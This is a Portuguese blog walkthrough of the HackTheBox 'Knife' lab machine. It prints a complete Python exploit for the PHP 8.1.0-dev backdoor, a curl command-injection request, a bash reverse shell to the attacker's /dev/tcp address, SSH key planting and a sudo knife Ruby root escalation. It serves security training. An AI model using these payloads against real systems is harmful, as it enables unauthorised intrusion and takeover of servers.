Introdução a Segurança Ofensiva na Prática

Publicado por Igor Matsunaga em

Você instalou o Kali Linux, aprendeu todas as ferramentas e está pronto para por seus esforços em prática. Ótimo, uma opção perfeita é a plataforma HackTheBox. Nada de ficar hackeando sistemas alheios, pessoal.

O Hackthebox é uma plataforma que pode ser utilizada de maneira gratuita(existe versão paga) para testar as suas habilidades. Possui diversas maquinas com uma grande variedade de sistemas e vulnerabilidades. Todo o acesso é feito através de uma VPN.

Para o nosso artigo, escolhi a caixa(maquina vulnerável) mais fácil, para que vocês possam sentir o drama.

Então se você já é inscrito no HTB, chegou a hora de ligar sua VM e pôr a mão na massa.

Nosso alvo será a caixa Knife. Lembra das fases de um teste de invasão? Pois vamos a utilizar na prática agora.

Não apoiamos nenhum tipo de ilegalidade, toda a informação passada aqui, possui apenas fins educativos e qualquer ação causada por informações aqui contidas e de completa responsabilidade do autor da infração. 

Igor Matsunaga

Planejamento e reconhecimento

Alvo

Sistema: Linux

IP: 10.10.10.242

Teste de invasão simulado do tipo blackbox.

Escaneamento de vulnerabilidades

Normalmente, o meu primeiro ato é rodar o nmap sobre o alvo, para tentar descobrir quais serviços estão sendo executados. 

sudo nmap -sV -A -T5 10.10.10.242 -v

sudo: O nmap necessita de permissão root para ser executado(A senha root será exigida);

nmap: Executar o pacote nmap;

-sV: Procurar por portas abertas e determinar informações e versões de serviços;

A: Habilita detecção de SO e detecção de versão;

-T5: Define o modelo de tempo para o mais rápido possível. 🙂

-v: Modo verboso;

┌──(igor㉿igor)-[~]
└─$ sudo nmap -sV -A -T5 10.10.10.242 -vvv               
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 22:57 -03
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:57
Completed NSE at 22:57, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:57
Completed NSE at 22:57, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:57
Completed NSE at 22:57, 0.00s elapsed
Initiating Ping Scan at 22:57
Scanning 10.10.10.242 [4 ports]
Completed Ping Scan at 22:57, 0.43s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:57
Completed Parallel DNS resolution of 1 host. at 22:57, 6.53s elapsed
DNS resolution of 1 IPs took 6.53s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 3, CN: 0]
Initiating SYN Stealth Scan at 22:57
Scanning 10.10.10.242 [1000 ports]
Discovered open port 80/tcp on 10.10.10.242
Discovered open port 22/tcp on 10.10.10.242
Completed SYN Stealth Scan at 22:57, 2.03s elapsed (1000 total ports)
Initiating Service scan at 22:57
Scanning 2 services on 10.10.10.242
Completed Service scan at 22:57, 6.76s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.242
Retrying OS detection (try #2) against 10.10.10.242
Initiating Traceroute at 22:57
Completed Traceroute at 22:57, 0.28s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 22:57
Completed Parallel DNS resolution of 2 hosts. at 22:57, 6.54s elapsed
DNS resolution of 2 IPs took 6.54s. Mode: Async [#: 2, OK: 0, NX: 2, DR: 0, SF: 0, TR: 4, CN: 0]
NSE: Script scanning 10.10.10.242.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:57
Completed NSE at 22:58, 7.29s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:58
Completed NSE at 22:58, 1.23s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:58
Completed NSE at 22:58, 0.00s elapsed
Nmap scan report for 10.10.10.242
Host is up, received echo-reply ttl 63 (0.21s latency).
Scanned at 2021-05-24 22:57:27 -03 for 36s
Not shown: 998 closed ports
Reason: 998 resets
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjEtN3+WZzlvu54zya9Q+D0d/jwjZT2jYFKwHe0icY7plEWSAqbP+b3ijRL6kv522KEJPHkfXuRwzt5z4CNpyUnqr6nQINn8DU0Iu/UQby+6OiQIleNUCYYaI+1mV0sm4kgmue4oVI1Q3JYOH41efTbGDFHiGSTY1lH3HcAvOFh75dCID0564T078p7ZEIoKRt1l7Yz+GeMZ870Nw13ao0QLPmq2HnpQS34K45zU0lmxIHqiK/IpFJOLfugiQF52Qt6+gX3FOjPgxk8rk81DEwicTrlir2gJiizAOchNPZjbDCnG2UqTapOm292Xg0hCE6H03Ri6GtYs5xVFw/KfGSGb7OJT1jhitbpUxRbyvP+pFy4/8u6Ty91s98bXrCyaEy2lyZh5hm7MN2yRsX+UbrSo98UfMbHkKnePg7/oBhGOOrUb77/DPePGeBF5AT029Xbz90v2iEFfPdcWj8SP/p2Fsn/qdutNQ7cRnNvBVXbNm0CpiNfoHBCBDJ1LR8p8k=
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGKC3ouVMPI/5R2Fsr5b0uUQGDrAa6ev8uKKp5x8wdqPXvM1tr4u0GchbVoTX5T/PfJFi9UpeDx/uokU3chqcFc=
|   256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJbkxEqMn++HZ2uEvM0lDZy+TB8B8IAeWRBEu3a34YIb
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
OS fingerprint not ideal because: Timing level 5 (Insane) used
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.91%E=4%D=5/24%OT=22%CT=1%CU=42745%PV=Y%DS=2%DC=T%G=N%TM=60AC59AC%P=x86_64-pc-linux-gnu)
SEQ(SP=107%GCD=2%ISR=10C%TI=Z%CI=Z%II=I%TS=A)
OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)
WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 29.671 days (since Sun Apr 25 06:52:01 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   268.85 ms 10.10.14.1
2   269.59 ms 10.10.10.242

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:58
Completed NSE at 22:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:58
Completed NSE at 22:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:58
Completed NSE at 22:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.29 seconds
           Raw packets sent: 1122 (50.964KB) | Rcvd: 1040 (43.020KB)

Procurei pelo Google por vulnerabilidades conhecidas, mas nada de especial por enquanto! 

Outra ferramenta que gosto de utilizar, enquanto realizo o reconhecimento visual e manual do alvo é o OWASP ZAP.

Enquanto o ZAP trabalha vamos a nossa identificação visual. Manualmente verifico que não existem links para as opções de menu. Também, não encontrei nenhuma outra forma de interação na página.

Outra ferramenta que indico colocar no seu arsenal é o Wappalyser.

O Wappalyzer é uma ferramenta de código aberto disponível no GitHub e 100% gratuita que foi criada em 2009 e tem como objetivo identificar as tecnologias usadas num site.

E bingo. Procurando pelo Google encontrei um POC sobre uma possível vulnerabilidade no PHP 8.1.0.

Exploração das vulnerabilidades

Agora que encontramos uma possível falha e o seu respetivo exploit, entraremos na fase de exploração.

Primeiramente, precisamos entender o exploit PHP version 8.1.0-dev backdoor unauthenticated remote command injection exploit.

# Exploit Title: PHP 8.1.0-dev (backdoor) | Remote Command Injection (Unauthenticated)
# Date: 23/05/2021
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.php.net/
# Software Link: https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
# Version: PHP 8.1.0-dev
# Tested on: Linux Ubuntu 20.04.2 LTS (5.4.0-72-generic)

# Based on the recent PHP/8.1.0-dev backdoor
# Infomation: https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a?branch=2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a&diff=unified#diff-a35f2ee9e1d2d3983a3270ee10ec70bf86349c53febdeabdf104f88cb2167961R368-R370
# Reference: https://news-web.php.net/php.internals/113838
# Vuln code in the link above (Original)
# When adding "zerodium" or  at the start of the user-agent field, will execute php code on the server
#  convert_to_string(enc);
#  if (strstr(Z_STRVAL_P(enc), "zerodium")) {
#    zend_try {
#      zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");


#Usage: python3 php_8.1.0-dev.py -u http://10.10.10.242/ -c ls

#!/usr/bin/env python3
import requests
import argparse

from requests.models import parse_header_links 

s = requests.Session()

def checkTarget(args):
    r = s.get(args.url)    
    for h in r.headers.items():
        if "PHP/8.1.0-dev" in h[1]:
            return True
    return False


def execCmd(args):
    r = s.get(args.url, headers={"User-Agentt":"zerodiumsystem(\""+args.cmd+"\");"})
    res = r.text.split("<!DOCTYPE html>")[0]
    if not res:
        print("[-] No Results")
    else:
        print("[+] Results:")
    print(res.strip())


def main():

    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="Target URL (Eg: http://10.10.10.10/)", required=True)
    parser.add_argument("-c", "--cmd", help="Command to execute (Eg: ls,id,whoami)", default="id")
    args = parser.parse_args()

    if checkTarget(args):
        execCmd(args)
    else:
        print("[!] Not Vulnerable or url error")
        exit(0)
    
if __name__ == "__main__":
    main()

É informado no código que ao adicionar “zerodium” no user-agent, possibilitara executar código php no servidor.

Outro detalhe que não me atentei logo, foi que a palavra User-Agent no headers e alterada para User-Agentt. Quase achei que era um buraco de coelho. Consegui realizar um teste e vi que estava no caminho certo. Para realizar o teste usei o comando Curl.

CURL

curl -i -s -k -H 'User-Agentt: zerodiumsystem("id");' http://10.10.10.242

-i: Incluir cabeçalhos de resposta de protocolo na saída;

-s: Modo silencio;

-k: –insecure (TLS) Por padrão, cada onda de conexão SSL feita é verificada para ser segura. Esta opção permite que o curl prossiga e opere até mesmo para conexões de servidor consideradas inseguras.

-H: Inclusão de um cabeçalho extra;

(‘id’): Retorna os identificadores do usuário, login e os grupos a que ele pertence;


                                                                                                                                                                                                                                
┌──(igor㉿igor)-[~]
└─$ curl -i -s -k -H 'User-Agentt: zerodiumsystem("id");' http://10.10.10.242
HTTP/1.1 200 OK
Date: Tue, 25 May 2021 17:50:37 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

uid=1000(james) gid=1000(james) groups=1000(james)
<!DOCTYPE html>
<html lang="en" >

<head>

  <meta charset="UTF-8">
 

  <title> Emergent Medical Idea</title>
  
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

  
  
<style>
html,body {
  font-family: 'Raleway', sans-serif;
  padding: 0;
  font-size: 18px;
  /*background: rgb(50, 120, 186);*/
  background: #FFF;
  color: #fff;
}

#menu{
  color: #000;
  max-width: 100%;
  text-align: right;
  font-size: 18px;
  padding: 20px;
  position: relative;
}

#menu ul li{
  display: inline-block;
  margin: 0 5px;
}

#menu ul li:first-child{
  position: absolute;
  top: 0;
  left: 20px;
}

.wrapper{
  max-width: 1000px;
  margin: 0 auto;
}
#heartRate{
  max-width: 500px;
}
.quote{
  max-width: 500px;
  margin-top: 10%;
}

h1,h2 {

  margin: 0.4em 0;
}
h1 { 
  font-size: 3.5em;
  font-weight: 700;

    /* Shadows are visible under slightly transparent text color */
    color: rgba(10,60,150, 0.8);
    text-shadow: 1px 4px 6px #fff, 0 0 0 #000, 1px 4px 6px #fff;
}

h2 {
  color: rgba(10,60,150, 1);
  font-size: 2em;
  font-weight: 200;
}
::-moz-selection { background: #5af; color: #fff; text-shadow: none; }
::selection { background: #5af; color: #fff; text-shadow: none; }
</style>

  <script>
  window.console = window.console || function(t) {};
</script>

  
  
  <script>
  if (document.location.search.match(/type=embed/gi)) {
    window.parent.postMessage("resize", "*");
  }
</script>


</head>

<body translate="no" >
  <link href="https://fonts.googleapis.com/css?family=Raleway:200,100,700,4004" rel="stylesheet" type="text/css" />
<div id="menu">
  <ul>
    <li></li>
    <li>About EMA</li>
    <li>/</li>
    <li>Patients</li>
    <li>/</li>
    <li>Hospitals</li>
    <li>/</li>
    <li>Providers</li>
    <li>/</li>
    <li>E-MSO</li>
  </ul>
</div>
<div class="wrapper">
<div class ="quote">
<svg version="1.1" id="heartRate" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
         viewBox="0 0 699 114.3" enable-background="new 0 0 699 114.3" xml:space="preserve">
<path class="pather1" fill="none" stroke="#0A3C96" stroke-width="1" stroke-miterlimit="10" d="M707.9,78c0,0-17.1-0.6-31.1-0.6
        s-30,3.1-31.5,0.6S641,49.3,641,49.3l-10.5,58.5L619.3,7.5c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6
        s-4.3-28.8-4.3-28.8l-10.5,58.5L518.1,7.5c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6s-4.3-28.8-4.3-28.8
        l-10.5,58.5L417,7.5c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6s-4.3-28.8-4.3-28.8l-10.5,58.5L315.9,7.5
        c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6s-4.3-28.8-4.3-28.8L226,107.8L214.8,7.5c0,0-11.3,66.8-12.5,70.5
        c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6s-4.3-28.8-4.3-28.8l-10.5,58.5L113.6,7.5c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6
        S40,80.5,38.5,78s-4.3-28.8-4.3-28.8l-10.5,58.5L12.5,7.5C12.5,7.5,1.3,74.3,0,78"/>
</svg>

<h2>At EMA we're taking care to a whole new level . . .</h2>
<h1>Taking care of our
  <span
     class="txt-rotate"
     data-period="2000"
     data-rotate='[ "patients.", "hospitals.", "providers." ]'></span>
</h1>
</div>
 </div>
    <script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-157cd5b220a5c80d4ff8e0e70ac069bffd87a61252088146915e8726e5d9f147.js"></script>

  
      <script id="rendered-js" >
var TxtRotate = function (el, toRotate, period) {
  this.toRotate = toRotate;
  this.el = el;
  this.loopNum = 0;
  this.period = parseInt(period, 10) || 2000;
  this.txt = '';
  this.tick();
  this.isDeleting = false;
};

TxtRotate.prototype.tick = function () {
  var i = this.loopNum % this.toRotate.length;
  var fullTxt = this.toRotate[i];

  if (this.isDeleting) {
    this.txt = fullTxt.substring(0, this.txt.length - 1);
  } else {
    this.txt = fullTxt.substring(0, this.txt.length + 1);
  }

  this.el.innerHTML = '<span class="wrap">' + this.txt + '</span>';

  var that = this;
  var delta = 300 - Math.random() * 100;

  if (this.isDeleting) {delta /= 2;}

  if (!this.isDeleting && this.txt === fullTxt) {
    delta = this.period;
    this.isDeleting = true;
  } else if (this.isDeleting && this.txt === '') {
    this.isDeleting = false;
    this.loopNum++;
    delta = 500;
  }

  setTimeout(function () {
    that.tick();
  }, delta);
};


window.onload = function () {
  var elements = document.getElementsByClassName('txt-rotate');
  for (var i = 0; i < elements.length; i++) {if (window.CP.shouldStopExecution(0)) break;
    var toRotate = elements[i].getAttribute('data-rotate');
    var period = elements[i].getAttribute('data-period');
    if (toRotate) {
      new TxtRotate(elements[i], JSON.parse(toRotate), period);
    }
  }
  // INJECT CSS
  window.CP.exitedLoop(0);var css = document.createElement("style");
  css.type = "text/css";
  css.innerHTML = ".txt-rotate > .wrap { border-right: 0.04em solid #666 }";
  document.body.appendChild(css);
};


var path = document.querySelector('path.pather1');
var length = path.getTotalLength();

// Clear any previous transition
path.style.transition = path.style.WebkitTransition =
'none';
// Set up the starting positions
path.style.strokeDasharray = length + ' ' + length;
path.style.strokeDashoffset = -length;
// Trigger a layout so styles are calculated & the browser
// picks up the starting position before animating
path.getBoundingClientRect();
// Define our transition
path.style.transition = path.style.WebkitTransition =
'stroke-dashoffset 4s linear';
// Go!
path.style.strokeDashoffset = '0';
//# sourceURL=pen.js
    </script>

  

</body>

</html>

Bingo, realmente estamos no caminho certo. O nosso teste nos mostrou que podemos fazer requisições no servidor através do usuário James. 

uid=1000(james) gid=1000(james) groups=1000(james)

Com a faca e queijo na mão, precisamos agora criar uma conexão reversa com o servidor. Vamos utilizar agora, outras duas famosas ferramentas. O Burp Suite para manipular a requisição é o Netcat como ouvinte para receber a conexão.

Burp Suite e Netcat

Primeiramente, vou capturar a requisição do browser com o Burp. Para isso precisamos configurar algumas coisas antes.

Acesse a opção Preferences no seu browser

Em General bem no final você encontrara a opção Network Settings, clique no botão Settings

Escolha a opção Manual proxy configuration, em HTTP Proxy digite 127.0.0.1(localhost) e escolha uma porta livre para uso, para esse teste eu escolhi a porta 12345.  Marque a opção Also use this for FTP and HTTPS, e todas as opções serão preenchidas automaticamente. 

Após, finalizar a configuração do Browser, precisamos configurar o Burp.

Vá até a opção Proxy e depois Options.

Selecione a interface e clique em Edit.

Altere a Bind to port, para a porta configurada no Browser, no meu caso a porta 12345.

Pronto, agora volte para o menu Proxy/Intercept, e deixe a opção Intercept is como ON.

Tudo pronto, vamos capturar a nossa requisição. Se o procedimento foi realizado corretamente, basta atualizar a página alvo que a requisição será capturada. Após a captura vamos enviar a nossa requisição para o Repeter. Para isso você pode clicar com o botão direito do mouse sobre a requisição ou simplesmente utilizar as teclas de atalho Ctrl + R.

Vamos agora rodar nosso ouvinte Netcat.

nc -nlvp 1337

-n: endereços IP apenas numéricos, sem DNS;

-l: Modo de escuta;

-v: Modo verbose;

-p: Número da porta;

Com nosso ouvinte já rodando, vamos agora injetar nosso código malicioso para tentar a conexão reversa.

De volta ao Burp/repeter, vamos alterar nosso User-agent para:

User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.XX.XX/1337 0>&1'");

User-Agent: Alterado para User-Agentt;

zerodiumsystem: para bypass o servidor.

Por fim precisamos de um payload para realizar a conexão reversa com o Netcat.

Um link que você tem que salvar no seus favoritos e esse github com diversas dicas sobre shell reverse.

/bin/bash -c: Comando Linux utilizado para ler o comando como string;

bash -i >&/dev/tcp/10.10.XX.XX/1337 0>&1: Bash TCP(altere os X pelo seu IP HTB);

Depois de alterar o user-agent, enviar a nova requisição clicando no botão Send.

Sucesso, conseguimos o shell reverso. Navegando pelas pastas internas consegui encontrar a flag de usuário em home/james. 

Agora vamos atrás do root.txt.

Escalando Privilégios

Lembra do SSH aberto que descobrimos com o nmap?

Com o comando abaixo conseguimos descobrir o arquivo SSH do usuário James.

ls -la

Existe um arquivo chamado authorized_keys, aonde posso tentar inserir minha chave pessoal, e tentar logar como James.

Para facilitar o processo, crie uma pasta no seu Kali chamada ssh_htb, eu criei na minha área de trabalho com o comando abaixo:

$ cd Área\ de\ trabalho 
$ mkdir ssh_htb
$ cd ssh_htb

Para criar uma nova chave ssh, use o comando abaixo.

$ ssh-keygen

Ele requisitara um nome, pressione enter para default(id_rsa).

Caso já exista um arquivo ele pedira para o sobrescrever. Insira y para continuar.

Uma senha será perguntada, não se esqueça dela, será utilizada logo mais.

Agora vamos copiar os arquivos para nossa pasta com o comando abaixo:

cp /home/{seu usuário}/.ssh/id_rsa /home/{seu usuário}/Área\ de\ trabalho/ssh_htb/
cp /home/{seu usuário}/.ssh/id_rsa.pub /home/{seu usuário}/Área\ de\ trabalho/ssh_htb/

Vamos agora copiar nosso id_rsa.pub com o nome de authorized_keys. Eu não consegui editar diretamente o arquivo pelo conexão reversa, ele sempre quebra, por isso vamos utilizar o server python para enviar nosso arquivo.

$ cp id_rsa.pub  authorized_keys
$ python3 -m http.server 8080 

De volta a nossa conexão reversa, vamos apagar o arquivo original com o comando abaixo:

rm authorized_keys

E vamos realizar o download do arquivo contendo nossa chave de acesso.

wget 10.10.seu.IP:8080/authorized_keys 

Agora tentaremos acesso ao SSH com o usuário James.

ssh [email protected]

Lembra da senha do SSH que você escolheu, agora é a hora de a utilizar.

Sucesso, conseguimos acesso ao SSH do James.

Agora que temos acesso ao SSH, podemos verificar se existe algum comando permitido para usuários de chamada.

sudo -l

Encontramos um arquivo que pode ser executado como root sem a necessidade de privilégios.

Podemos verificar o arquivo utilizando o comando:

$ ls -la /usr/bin/knife

Podemos verificar, que o comando/usr/bin/knife  é um link simbólico para /opt/chef-workstation/bin/knife.

Após analise com o comando cat, verifiquei que o diretório workstaion nada mais é do que o diretório de instalação do ruby, e significa que podemos criar um arquivo ruby ​​e executá-lo como root.

Reta Final

Podemos criar um simples arquivo ruby e tentar obter a shell root.

echo "system('/bin/bash')" > teste.rb
chmod 777 teste.rb
sudo /usr/bin/knife exec teste.rb

É por fim conseguimos capturar nosso último objetivo. Quero agradecer muito a equipe da HackTheBox por disponibilizar maquinas tão incríveis totalmente grátis. Eu espero que esse material tenha sido proveitoso.

Que a segurança esteja com você!

Parte 1

Igor Matsunaga

Diretor Técnico da NSWorld, entusiasta da área hacking, desenvolvedor hacker ético, formado em Segurança da Informação.

0 comentário

Deixe um comentário

Avatar placeholder

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *